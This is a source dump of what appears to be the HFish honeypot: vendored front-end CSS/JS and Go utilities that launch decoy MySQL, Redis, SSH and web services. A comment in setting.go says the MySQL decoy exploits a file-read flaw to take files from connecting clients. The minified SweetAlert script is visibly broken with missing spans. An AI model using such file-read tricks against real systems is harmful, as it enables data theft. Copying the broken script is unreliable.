e.createElement}()}catch(n){u=!0,l=!0}}();var y={elements:f.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:d,shivCSS:f.shivCSS!==!1,supportsUnknownElements:l,shivMethods:f.shivMethods!==!1,type:"default",shivDocument:s,createElement:a,createDocumentFragment:i};e.html5=y,s(t)}(this,t),p._version=m,p._prefixes=S,p._domPrefixes=T,p._cssomPrefixes=k,p.mq=z,p.hasEvent=A,p.testProp=function(e){return c([e])},p.testAllProps=u,p.testStyles=F,p.prefixed=function(e,t,n){return t?u(e,t,n):u(e,"pfx")},g.className=g.className.replace(/(^|\s)no-js(\s|$)/,"$1$2")+(h?" js "+$.join(" "):""),p}(this,this.document); -------------------------------------------------------------------------------- /static/libs/bootstrap-sweetalert/sweet-alert.css: -------------------------------------------------------------------------------- 1 | @-webkit-keyframes showSweetAlert { 2 | 0% { 3 | transform: scale(0.7); 4 | -webkit-transform: scale(0.7); 5 | } 6 | 45% { 7 | transform: scale(1.05); 8 | -webkit-transform: scale(1.05); 9 | } 10 | 80% { 11 | transform: scale(0.95); 12 | -webkit-tranform: scale(0.95); 13 | } 14 | 100% { 15 | transform: scale(1); 16 | -webkit-transform: scale(1); 17 | } 18 | } 19 | @keyframes showSweetAlert { 20 | 0% { 21 | transform: scale(0.7); 22 | -webkit-transform: scale(0.7); 23 | } 24 | 45% { 25 | transform: scale(1.05); 26 | -webkit-transform: scale(1.05); 27 | } 28 | 80% { 29 | transform: scale(0.95); 30 | -webkit-tranform: scale(0.95); 31 | } 32 | 100% { 33 | transform: scale(1); 34 | -webkit-transform: scale(1); 35 | } 36 | } 37 | @-webkit-keyframes hideSweetAlert { 38 | 0% { 39 | transform: scale(1); 40 | -webkit-transform: scale(1); 41 | } 42 | 100% { 43 | transform: scale(0.5); 44 | -webkit-transform: scale(0.5); 45 | } 46 | } 47 | @keyframes hideSweetAlert { 48 | 0% { 49 | transform: scale(1); 50 | -webkit-transform: scale(1); 51 | } 52 | 100% { 53 | transform: scale(0.5); 54 | -webkit-transform: scale(0.5); 55 | } 56 | } 57 | .showSweetAlert { 58 | -webkit-animation: showSweetAlert 0.3s; 59 | animation: showSweetAlert 0.3s; 60 | } 61 | .hideSweetAlert { 62 | -webkit-animation: hideSweetAlert 0.2s; 63 | animation: hideSweetAlert 0.2s; 64 | } 65 | @-webkit-keyframes animateSuccessTip { 66 | 0% { 67 | width: 0; 68 | left: 1px; 69 | top: 19px; 70 | } 71 | 54% { 72 | width: 0; 73 | left: 1px; 74 | top: 19px; 75 | } 76 | 70% { 77 | width: 50px; 78 | left: -8px; 79 | top: 37px; 80 | } 81 | 84% { 82 | width: 17px; 83 | left: 21px; 84 | top: 48px; 85 | } 86 | 100% { 87 | width: 25px; 88 | left: 14px; 89 | top: 45px; 90 | } 91 | } 92 | @keyframes animateSuccessTip { 93 | 0% { 94 | width: 0; 95 | left: 1px; 96 | top: 19px; 97 | } 98 | 54% { 99 | width: 0; 100 | left: 1px; 101 | top: 19px; 102 | } 103 | 70% { 104 | width: 50px; 105 | left: -8px; 106 | top: 37px; 107 | } 108 | 84% { 109 | width: 17px; 110 | left: 21px; 111 | top: 48px; 112 | } 113 | 100% { 114 | width: 25px; 115 | left: 14px; 116 | top: 45px; 117 | } 118 | } 119 | @-webkit-keyframes animateSuccessLong { 120 | 0% { 121 | width: 0; 122 | right: 46px; 123 | top: 54px; 124 | } 125 | 65% { 126 | width: 0; 127 | right: 46px; 128 | top: 54px; 129 | } 130 | 84% { 131 | width: 55px; 132 | right: 0px; 133 | top: 35px; 134 | } 135 | 100% { 136 | width: 47px; 137 | right: 8px; 138 | top: 38px; 139 | } 140 | } 141 | @keyframes animateSuccessLong { 142 | 0% { 143 | width: 0; 144 | right: 46px; 145 | top: 54px; 146 | } 147 | 65% { 148 | width: 0; 149 | right: 46px; 150 | top: 54px; 151 | } 152 | 84% { 153 | width: 55px; 154 | right: 0px; 155 | top: 35px; 156 | } 157 | 100% { 158 | width: 47px; 159 | right: 8px; 160 | top: 38px; 161 | } 162 | } 163 | @-webkit-keyframes rotatePlaceholder { 164 | 0% { 165 | transform: rotate(-45deg); 166 | -webkit-transform: rotate(-45deg); 167 | } 168 | 5% { 169 | transform: rotate(-45deg); 170 | -webkit-transform: rotate(-45deg); 171 | } 172 | 12% { 173 | transform: rotate(-405deg); 174 | -webkit-transform: rotate(-405deg); 175 | } 176 | 100% { 177 | transform: rotate(-405deg); 178 | -webkit-transform: rotate(-405deg); 179 | } 180 | } 181 | @keyframes rotatePlaceholder { 182 | 0% { 183 | transform: rotate(-45deg); 184 | -webkit-transform: rotate(-45deg); 185 | } 186 | 5% { 187 | transform: rotate(-45deg); 188 | -webkit-transform: rotate(-45deg); 189 | } 190 | 12% { 191 | transform: rotate(-405deg); 192 | -webkit-transform: rotate(-405deg); 193 | } 194 | 100% { 195 | transform: rotate(-405deg); 196 | -webkit-transform: rotate(-405deg); 197 | } 198 | } 199 | .animateSuccessTip { 200 | -webkit-animation: animateSuccessTip 0.75s; 201 | animation: animateSuccessTip 0.75s; 202 | } 203 | .animateSuccessLong { 204 | -webkit-animation: animateSuccessLong 0.75s; 205 | animation: animateSuccessLong 0.75s; 206 | } 207 | .icon.success.animate::after { 208 | -webkit-animation: rotatePlaceholder 4.25s ease-in; 209 | animation: rotatePlaceholder 4.25s ease-in; 210 | } 211 | @-webkit-keyframes animateErrorIcon { 212 | 0% { 213 | transform: rotateX(100deg); 214 | -webkit-transform: rotateX(100deg); 215 | opacity: 0; 216 | } 217 | 100% { 218 | transform: rotateX(0deg); 219 | -webkit-transform: rotateX(0deg); 220 | opacity: 1; 221 | } 222 | } 223 | @keyframes animateErrorIcon { 224 | 0% { 225 | transform: rotateX(100deg); 226 | -webkit-transform: rotateX(100deg); 227 | opacity: 0; 228 | } 229 | 100% { 230 | transform: rotateX(0deg); 231 | -webkit-transform: rotateX(0deg); 232 | opacity: 1; 233 | } 234 | } 235 | .animateErrorIcon { 236 | -webkit-animation: animateErrorIcon 0.5s; 237 | animation: animateErrorIcon 0.5s; 238 | } 239 | @-webkit-keyframes animateXMark { 240 | 0% { 241 | transform: scale(0.4); 242 | -webkit-transform: scale(0.4); 243 | margin-top: 26px; 244 | opacity: 0; 245 | } 246 | 50% { 247 | transform: scale(0.4); 248 | -webkit-transform: scale(0.4); 249 | margin-top: 26px; 250 | opacity: 0; 251 | } 252 | 80% { 253 | transform: scale(1.15); 254 | -webkit-transform: scale(1.15); 255 | margin-top: -6px; 256 | } 257 | 100% { 258 | transform: scale(1); 259 | -webkit-transform: scale(1); 260 | margin-top: 0; 261 | opacity: 1; 262 | } 263 | } 264 | @keyframes animateXMark { 265 | 0% { 266 | transform: scale(0.4); 267 | -webkit-transform: scale(0.4); 268 | margin-top: 26px; 269 | opacity: 0; 270 | } 271 | 50% { 272 | transform: scale(0.4); 273 | -webkit-transform: scale(0.4); 274 | margin-top: 26px; 275 | opacity: 0; 276 | } 277 | 80% { 278 | transform: scale(1.15); 279 | -webkit-transform: scale(1.15); 280 | margin-top: -6px; 281 | } 282 | 100% { 283 | transform: scale(1); 284 | -webkit-transform: scale(1); 285 | margin-top: 0; 286 | opacity: 1; 287 | } 288 | } 289 | .animateXMark { 290 | -webkit-animation: animateXMark 0.5s; 291 | animation: animateXMark 0.5s; 292 | } 293 | @-webkit-keyframes pulseWarning { 294 | 0% { 295 | border-color: #F8D486; 296 | } 297 | 100% { 298 | border-color: #F8BB86; 299 | } 300 | } 301 | @keyframes pulseWarning { 302 | 0% { 303 | border-color: #F8D486; 304 | } 305 | 100% { 306 | border-color: #F8BB86; 307 | } 308 | } 309 | .pulseWarning { 310 | -webkit-animation: pulseWarning 0.75s infinite alternate; 311 | animation: pulseWarning 0.75s infinite alternate; 312 | } 313 | @-webkit-keyframes pulseWarningIns { 314 | 0% { 315 | background-color: #F8D486; 316 | } 317 | 100% { 318 | background-color: #F8BB86; 319 | } 320 | } 321 | @keyframes pulseWarningIns { 322 | 0% { 323 | background-color: #F8D486; 324 | } 325 | 100% { 326 | background-color: #F8BB86; 327 | } 328 | } 329 | .pulseWarningIns { 330 | -webkit-animation: pulseWarningIns 0.75s infinite alternate; 331 | animation: pulseWarningIns 0.75s infinite alternate; 332 | } 333 | .sweet-overlay { 334 | background-color: rgba(0, 0, 0, 0.4); 335 | position: fixed; 336 | left: 0; 337 | right: 0; 338 | top: 0; 339 | bottom: 0; 340 | display: none; 341 | z-index: 1040; 342 | } 343 | .sweet-alert { 344 | background-color: #ffffff; 345 | width: 478px; 346 | padding: 17px; 347 | border-radius: 5px; 348 | text-align: center; 349 | position: fixed; 350 | left: 50%; 351 | top: 50%; 352 | margin-left: -256px; 353 | margin-top: -200px; 354 | overflow: hidden; 355 | display: none; 356 | z-index: 2000; 357 | } 358 | @media all and (max-width: 767px) { 359 | .sweet-alert { 360 | width: auto; 361 | margin-left: 0; 362 | margin-right: 0; 363 | left: 15px; 364 | right: 15px; 365 | } 366 | } 367 | .sweet-alert .icon { 368 | width: 80px; 369 | height: 80px; 370 | border: 4px solid gray; 371 | border-radius: 50%; 372 | margin: 20px auto; 373 | position: relative; 374 | box-sizing: content-box; 375 | } 376 | .sweet-alert .icon.error { 377 | border-color: #d43f3a; 378 | } 379 | .sweet-alert .icon.error .x-mark { 380 | position: relative; 381 | display: block; 382 | } 383 | .sweet-alert .icon.error .line { 384 | position: absolute; 385 | height: 5px; 386 | width: 47px; 387 | background-color: #d9534f; 388 | display: block; 389 | top: 37px; 390 | border-radius: 2px; 391 | } 392 | .sweet-alert .icon.error .line.left { 393 | -webkit-transform: rotate(45deg); 394 | transform: rotate(45deg); 395 | left: 17px; 396 | } 397 | .sweet-alert .icon.error .line.right { 398 | -webkit-transform: rotate(-45deg); 399 | transform: rotate(-45deg); 400 | right: 16px; 401 | } 402 | .sweet-alert .icon.warning { 403 | border-color: #eea236; 404 | } 405 | .sweet-alert .icon.warning .body { 406 | position: absolute; 407 | width: 5px; 408 | height: 47px; 409 | left: 50%; 410 | top: 10px; 411 | border-radius: 2px; 412 | margin-left: -2px; 413 | background-color: #f0ad4e; 414 | } 415 | .sweet-alert .icon.warning .dot { 416 | position: absolute; 417 | width: 7px; 418 | height: 7px; 419 | border-radius: 50%; 420 | margin-left: -3px; 421 | left: 50%; 422 | bottom: 10px; 423 | background-color: #f0ad4e; 424 | } 425 | .sweet-alert .icon.info { 426 | border-color: #46b8da; 427 | } 428 | .sweet-alert .icon.info::before { 429 | content: ""; 430 | position: absolute; 431 | width: 5px; 432 | height: 29px; 433 | left: 50%; 434 | bottom: 17px; 435 | border-radius: 2px; 436 | margin-left: -2px; 437 | background-color: #5bc0de; 438 | } 439 | .sweet-alert .icon.info::after { 440 | content: ""; 441 | position: absolute; 442 | width: 7px; 443 | height: 7px; 444 | border-radius: 50%; 445 | margin-left: -3px; 446 | top: 19px; 447 | background-color: #5bc0de; 448 | } 449 | .sweet-alert .icon.success { 450 | border-color: #4cae4c; 451 | } 452 | .sweet-alert .icon.success::before, 453 | .sweet-alert .icon.success::after { 454 | content: ''; 455 | border-radius: 50%; 456 | position: absolute; 457 | width: 60px; 458 | height: 120px; 459 | background: white; 460 | -webkit-transform: rotate(45deg); 461 | transform: rotate(45deg); 462 | } 463 | .sweet-alert .icon.success::before { 464 | border-radius: 120px 0 0 120px; 465 | top: -7px; 466 | left: -33px; 467 | -webkit-transform: rotate(-45deg); 468 | transform: rotate(-45deg); 469 | -webkit-transform-origin: 60px 60px; 470 | transform-origin: 60px 60px; 471 | } 472 | .sweet-alert .icon.success::after { 473 | border-radius: 0 120px 120px 0; 474 | top: -11px; 475 | left: 30px; 476 | -webkit-transform: rotate(-45deg); 477 | transform: rotate(-45deg); 478 | -webkit-transform-origin: 0px 60px; 479 | transform-origin: 0px 60px; 480 | } 481 | .sweet-alert .icon.success .placeholder { 482 | width: 80px; 483 | height: 80px; 484 | border: 4px solid rgba(92, 184, 92, 0.2); 485 | border-radius: 50%; 486 | box-sizing: content-box; 487 | position: absolute; 488 | left: -4px; 489 | top: -4px; 490 | z-index: 2; 491 | } 492 | .sweet-alert .icon.success .fix { 493 | width: 5px; 494 | height: 90px; 495 | background-color: #ffffff; 496 | position: absolute; 497 | left: 28px; 498 | top: 8px; 499 | z-index: 1; 500 | -webkit-transform: rotate(-45deg); 501 | transform: rotate(-45deg); 502 | } 503 | .sweet-alert .icon.success .line { 504 | height: 5px; 505 | background-color: #5cb85c; 506 | display: block; 507 | border-radius: 2px; 508 | position: absolute; 509 | z-index: 2; 510 | } 511 | .sweet-alert .icon.success .line.tip { 512 | width: 25px; 513 | left: 14px; 514 | top: 46px; 515 | -webkit-transform: rotate(45deg); 516 | transform: rotate(45deg); 517 | } 518 | .sweet-alert .icon.success .line.long { 519 | width: 47px; 520 | right: 8px; 521 | top: 38px; 522 | -webkit-transform: rotate(-45deg); 523 | transform: rotate(-45deg); 524 | } 525 | .sweet-alert .icon.custom { 526 | background-size: contain; 527 | border-radius: 0; 528 | border: none; 529 | background-position: center center; 530 | background-repeat: no-repeat; 531 | } 532 | .sweet-alert .btn-default:focus { 533 | border-color: #cccccc; 534 | outline: 0; 535 | -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(204, 204, 204, 0.6); 536 | box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(204, 204, 204, 0.6); 537 | } 538 | .sweet-alert .btn-success:focus { 539 | border-color: #4cae4c; 540 | outline: 0; 541 | -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(76, 174, 76, 0.6); 542 | box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(76, 174, 76, 0.6); 543 | } 544 | .sweet-alert .btn-info:focus { 545 | border-color: #46b8da; 546 | outline: 0; 547 | -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(70, 184, 218, 0.6); 548 | box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(70, 184, 218, 0.6); 549 | } 550 | .sweet-alert .btn-danger:focus { 551 | border-color: #d43f3a; 552 | outline: 0; 553 | -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(212, 63, 58, 0.6); 554 | box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(212, 63, 58, 0.6); 555 | } 556 | .sweet-alert .btn-warning:focus { 557 | border-color: #eea236; 558 | outline: 0; 559 | -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(238, 162, 54, 0.6); 560 | box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(238, 162, 54, 0.6); 561 | } 562 | .sweet-alert button::-moz-focus-inner { 563 | border: 0; 564 | } 565 | -------------------------------------------------------------------------------- /static/libs/bootstrap-sweetalert/sweet-alert.min.js: -------------------------------------------------------------------------------- 1 | !function(a,b){function c(b){var c=p(),d=c.querySelector("h2"),e=c.querySelector("p"),f=c.querySelector("button.cancel"),g=c.querySelector("button.confirm");if(d.innerHTML=u(b.title).split("\n").join("
"),e.innerHTML=u(b.text||"").split("\n").join("
"),b.text&&w(e),y(c.querySelectorAll(".icon")),b.type){for(var h=!1,i=0;i=0;)c=c.replace(" "+b+" "," ");a.className=c.replace(/^\s+|\s+$/g,"")}},u=function(a){var c=b.createElement("div");return c.appendChild(b.createTextNode(a)),c.innerHTML},v=function(a){a.style.opacity="",a.style.display="block"},w=function(a){if(a&&!a.length)return v(a);for(var b=0;b0?setTimeout(d,b):a.style.display="none"};d()},D=function(c){if(MouseEvent){var d=new MouseEvent("click",{view:a,bubbles:!1,cancelable:!0});c.dispatchEvent(d)}else if(b.createEvent){var e=b.createEvent("MouseEvents");e.initEvent("click",!1,!1),c.dispatchEvent(e)}else b.createEventObject?c.fireEvent("onclick"):"function"==typeof c.onclick&&c.onclick()},E=function(b){"function"==typeof b.stopPropagation?(b.stopPropagation(),b.preventDefault()):a.event&&a.event.hasOwnProperty("cancelBubble")&&(a.event.cancelBubble=!0)};a.sweetAlertInitialize=function(){var a='

Title

Text

',c=b.createElement("div");c.innerHTML=a,b.body.appendChild(c)},a.sweetAlert=a.swal=function(){function h(a){var b=a.keyCode||a.which;if(-1!==[9,13,32,27].indexOf(b)){for(var c=a.target||a.srcElement,d=-1,e=0;e-1,d=r(n,"visible"),e=m.doneFunction&&"true"===n.getAttribute("data-has-done-function");switch(a.type){case"click":if(c&&e&&d)m.doneFunction(!0),m.closeOnConfirm&&f();else if(e&&d){var g=String(m.doneFunction).replace(/\s/g,""),h="function("===g.substring(0,9)&&")"!==g.substring(9,10);h&&m.doneFunction(!1),m.closeOnCancel&&f()}else f()}},s=n.querySelectorAll("button"),t=0;tsmall{background:#fff;border-radius:100%;box-shadow:0 1px 3px rgba(0,0,0,0.4);height:30px;position:absolute;top:0;width:30px}.switchery-small{border-radius:20px;height:20px;width:33px}.switchery-small>small{height:20px;width:20px}.switchery-large{border-radius:40px;height:40px;width:66px}.switchery-large>small{height:40px;width:40px} -------------------------------------------------------------------------------- /utils/color/color.go: -------------------------------------------------------------------------------- 1 | package color 2 | 3 | import ( 4 | "fmt" 5 | "runtime" 6 | ) 7 | 8 | const ( 9 | TextBlack = iota + 30 10 | TextRed 11 | TextGreen 12 | TextYellow 13 | TextBlue 14 | TextMagenta 15 | TextCyan 16 | TextWhite 17 | ) 18 | 19 | func Black(str string) string { 20 | return textColor(TextBlack, str) 21 | } 22 | 23 | func Red(str string) string { 24 | return textColor(TextRed, str) 25 | } 26 | 27 | func Green(str string) string { 28 | return textColor(TextGreen, str) 29 | } 30 | 31 | func Yellow(str string) string { 32 | return textColor(TextYellow, str) 33 | } 34 | 35 | func Blue(str string) string { 36 | return textColor(TextBlue, str) 37 | } 38 | 39 | func Magenta(str string) string { 40 | return textColor(TextMagenta, str) 41 | } 42 | 43 | func Cyan(str string) string { 44 | return textColor(TextCyan, str) 45 | } 46 | 47 | func White(str string) string { 48 | return textColor(TextWhite, str) 49 | } 50 | 51 | func textColor(color int, str string) string { 52 | if IsWindows() { 53 | return str 54 | } 55 | 56 | switch color { 57 | case TextBlack: 58 | return fmt.Sprintf("\x1b[0;%dm%s\x1b[0m", TextBlack, str) 59 | case TextRed: 60 | return fmt.Sprintf("\x1b[0;%dm%s\x1b[0m", TextRed, str) 61 | case TextGreen: 62 | return fmt.Sprintf("\x1b[0;%dm%s\x1b[0m", TextGreen, str) 63 | case TextYellow: 64 | return fmt.Sprintf("\x1b[0;%dm%s\x1b[0m", TextYellow, str) 65 | case TextBlue: 66 | return fmt.Sprintf("\x1b[0;%dm%s\x1b[0m", TextBlue, str) 67 | case TextMagenta: 68 | return fmt.Sprintf("\x1b[0;%dm%s\x1b[0m", TextMagenta, str) 69 | case TextCyan: 70 | return fmt.Sprintf("\x1b[0;%dm%s\x1b[0m", TextCyan, str) 71 | case TextWhite: 72 | return fmt.Sprintf("\x1b[0;%dm%s\x1b[0m", TextWhite, str) 73 | default: 74 | return str 75 | } 76 | } 77 | 78 | func IsWindows() bool { 79 | if runtime.GOOS == "windows" { 80 | return true 81 | } else { 82 | return false 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /utils/conf/conf.go: -------------------------------------------------------------------------------- 1 | package conf 2 | 3 | import ( 4 | "bufio" 5 | "io" 6 | "os" 7 | "strings" 8 | ) 9 | 10 | const middle = "=HFish=" 11 | 12 | type Config struct { 13 | Mymap map[string]string 14 | MyNode map[string]string 15 | strcet string 16 | } 17 | 18 | func (c *Config) InitConfig(path string) { 19 | c.Mymap = make(map[string]string) 20 | c.MyNode = make(map[string]string) 21 | 22 | f, err := os.Open(path) 23 | if err != nil { 24 | panic(err) 25 | } 26 | defer f.Close() 27 | 28 | r := bufio.NewReader(f) 29 | for { 30 | b, _, err := r.ReadLine() 31 | if err != nil { 32 | if err == io.EOF { 33 | break 34 | } 35 | panic(err) 36 | } 37 | 38 | s := strings.TrimSpace(string(b)) 39 | if strings.Index(s, "#") == 0 { 40 | continue 41 | } 42 | 43 | n1 := strings.Index(s, "[") 44 | n2 := strings.LastIndex(s, "]") 45 | if n1 > -1 && n2 > -1 && n2 > n1+1 { 46 | c.strcet = strings.TrimSpace(s[n1+1: n2]) 47 | continue 48 | } 49 | 50 | if len(c.strcet) == 0 { 51 | continue 52 | } 53 | index := strings.Index(s, "=") 54 | if index < 0 { 55 | continue 56 | } 57 | 58 | frist := strings.TrimSpace(s[:index]) 59 | if len(frist) == 0 { 60 | continue 61 | } 62 | second := strings.TrimSpace(s[index+1:]) 63 | 64 | pos := strings.Index(second, "\t#") 65 | if pos > -1 { 66 | second = second[0:pos] 67 | } 68 | 69 | pos = strings.Index(second, " #") 70 | if pos > -1 { 71 | second = second[0:pos] 72 | } 73 | 74 | pos = strings.Index(second, "\t//") 75 | if pos > -1 { 76 | second = second[0:pos] 77 | } 78 | 79 | pos = strings.Index(second, " //") 80 | if pos > -1 { 81 | second = second[0:pos] 82 | } 83 | 84 | if len(second) == 0 { 85 | continue 86 | } 87 | 88 | key := c.strcet + middle + frist 89 | c.Mymap[key] = strings.TrimSpace(second) 90 | 91 | key = c.strcet + middle + "introduce" 92 | introduce, found := c.Mymap[key] 93 | if !found { 94 | } 95 | 96 | key = c.strcet + middle + "mode" 97 | mode, found := c.Mymap[key] 98 | if !found { 99 | } 100 | 101 | c.MyNode[c.strcet] = strings.TrimSpace(mode) + "&&" + strings.TrimSpace(introduce) 102 | } 103 | } 104 | 105 | func (c Config) read(node, key string) string { 106 | key = node + middle + key 107 | v, found := c.Mymap[key] 108 | if !found { 109 | return "" 110 | } 111 | return strings.TrimSpace(v) 112 | } 113 | 114 | func Get(node string, key string) string { 115 | myConfig := new(Config) 116 | myConfig.InitConfig("./config.ini") 117 | r := myConfig.read(node, key) 118 | return r 119 | } 120 | -------------------------------------------------------------------------------- /utils/file/file.go: -------------------------------------------------------------------------------- 1 | package file 2 | 3 | import ( 4 | "HFish/error" 5 | "fmt" 6 | "os" 7 | ) 8 | 9 | func Output(result string, path string) { 10 | if path != "" { 11 | _, err := os.Stat(path) 12 | if os.IsNotExist(err) { 13 | os.Mkdir("./scripts", os.ModePerm) 14 | } 15 | f_create, _ := os.Create(path) 16 | f_create.Close() 17 | f, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE, 0666) 18 | error.Check(err, "fail to open file") 19 | f.Write([]byte(result)) 20 | f.Close() 21 | } else { 22 | fmt.Println(result) 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /utils/md5/md5.go: -------------------------------------------------------------------------------- 1 | package md5 2 | 3 | import ( 4 | "crypto/md5" 5 | "encoding/hex" 6 | ) 7 | 8 | func Md5(str string) string { 9 | h := md5.New() 10 | h.Write([]byte(str)) 11 | return hex.EncodeToString(h.Sum(nil)) 12 | } 13 | -------------------------------------------------------------------------------- /utils/send/gomail.go: -------------------------------------------------------------------------------- 1 | package send 2 | 3 | import ( 4 | "fmt" 5 | "github.com/gin-gonic/gin" 6 | "gopkg.in/gomail.v2" 7 | "strconv" 8 | "time" 9 | ) 10 | 11 | func SendMail(mailTo []string, subject string, body string, config []string) error { 12 | port, _ := strconv.Atoi(config[1]) 13 | m := gomail.NewMessage() 14 | 15 | m.SetHeader("From", "<"+config[2]+">") 16 | m.SetHeader("To", mailTo...) //发送给多个用户 17 | m.SetHeader("Subject", subject) //设置邮件主题 18 | m.SetBody("text/html", body) //设置邮件正文 19 | 20 | d := gomail.NewDialer(config[0], port, config[2], config[3]) 21 | 22 | err := d.DialAndSend(m) 23 | 24 | if err != nil { 25 | fmt.Fprintln(gin.DefaultWriter, time.Now().Format("2006-01-02 15:04:05")+" 发送邮件通知失败 ", err) 26 | } else { 27 | fmt.Fprintln(gin.DefaultWriter, time.Now().Format("2006-01-02 15:04:05")+" 发送邮件通知成功") 28 | } 29 | 30 | return err 31 | } 32 | -------------------------------------------------------------------------------- /utils/setting/setting.go: -------------------------------------------------------------------------------- 1 | package setting 2 | 3 | import ( 4 | "HFish/core/exec" 5 | "HFish/utils/color" 6 | "HFish/view" 7 | "fmt" 8 | "github.com/gin-gonic/gin" 9 | "io" 10 | "os" 11 | "net/http" 12 | "time" 13 | "HFish/utils/conf" 14 | "HFish/core/protocol/ssh" 15 | "HFish/core/protocol/redis" 16 | "HFish/core/protocol/mysql" 17 | ) 18 | 19 | func RunWeb(template string, static string, url string) http.Handler { 20 | r := gin.New() 21 | r.Use(gin.Recovery()) 22 | 23 | // 引入html资源 24 | r.LoadHTMLGlob("web/" + template + "/*") 25 | 26 | // 引入静态资源 27 | r.Static("/static", "./web/"+static) 28 | 29 | r.GET(url, func(c *gin.Context) { 30 | c.HTML(http.StatusOK, "index.html", gin.H{}) 31 | }) 32 | 33 | return r 34 | } 35 | 36 | func RunAdmin() http.Handler { 37 | gin.DisableConsoleColor() 38 | f, _ := os.Create("./logs/hfish.log") 39 | gin.DefaultWriter = io.MultiWriter(f) 40 | // 引入gin 41 | r := gin.Default() 42 | 43 | r.Use(gin.Recovery()) 44 | // 引入html资源 45 | r.LoadHTMLGlob("admin/*") 46 | 47 | // 引入静态资源 48 | r.Static("/static", "./static") 49 | 50 | // 加载路由 51 | view.LoadUrl(r) 52 | 53 | return r 54 | } 55 | 56 | func Run() { 57 | // 启动 Mysql 钓鱼 58 | mysqlStatus := conf.Get("mysql", "status") 59 | 60 | // 判断 Mysql 钓鱼 是否开启 61 | if mysqlStatus == "1" { 62 | mysqlAddr := conf.Get("mysql", "addr") 63 | 64 | // 利用 Mysql 服务端 任意文件读取漏洞 65 | mysqlFiles := conf.Get("mysql", "files") 66 | 67 | go mysql.Start(mysqlAddr, mysqlFiles) 68 | } 69 | 70 | //=========================// 71 | 72 | // 启动 Redis 钓鱼 73 | redisStatus := conf.Get("redis", "status") 74 | 75 | // 判断 Redis 钓鱼 是否开启 76 | if redisStatus == "1" { 77 | redisAddr := conf.Get("redis", "addr") 78 | go redis.Start(redisAddr) 79 | } 80 | 81 | //=========================// 82 | 83 | // 启动 SSH 钓鱼 84 | sshStatus := conf.Get("ssh", "status") 85 | 86 | // 判断 SSG 钓鱼 是否开启 87 | if sshStatus == "1" { 88 | sshAddr := conf.Get("ssh", "addr") 89 | go ssh.Start(sshAddr) 90 | } 91 | 92 | //=========================// 93 | 94 | // 启动 Web 钓鱼 95 | webStatus := conf.Get("web", "status") 96 | 97 | // 判断 Web 钓鱼 是否开启 98 | if webStatus == "1" { 99 | webAddr := conf.Get("web", "addr") 100 | webTemplate := conf.Get("web", "template") 101 | webStatic := conf.Get("web", "static") 102 | webUrl := conf.Get("web", "url") 103 | 104 | serverWeb := &http.Server{ 105 | Addr: webAddr, 106 | Handler: RunWeb(webTemplate, webStatic, webUrl), 107 | ReadTimeout: 5 * time.Second, 108 | WriteTimeout: 10 * time.Second, 109 | } 110 | 111 | go serverWeb.ListenAndServe() 112 | } 113 | 114 | //=========================// 115 | 116 | // 启动 admin 管理后台 117 | adminbAddr := conf.Get("admin", "addr") 118 | 119 | serverAdmin := &http.Server{ 120 | Addr: adminbAddr, 121 | Handler: RunAdmin(), 122 | ReadTimeout: 5 * time.Second, 123 | WriteTimeout: 10 * time.Second, 124 | } 125 | 126 | serverAdmin.ListenAndServe() 127 | } 128 | 129 | func Init() { 130 | fmt.Println("test") 131 | } 132 | 133 | func Help() { 134 | exec.Execute("clear") 135 | logo := ` o 136 | \_/\o 137 | ( Oo) \|/ 138 | (_=-) .===O- ~~~b~i~u~~ -O- 139 | / \_/U' /|\ 140 | || |_/ 141 | \\ | ~ By: HackLC Team 142 | {K || __ _______ __ 143 | | PP / // / __(_)__ / / 144 | | || / _ / _// (_-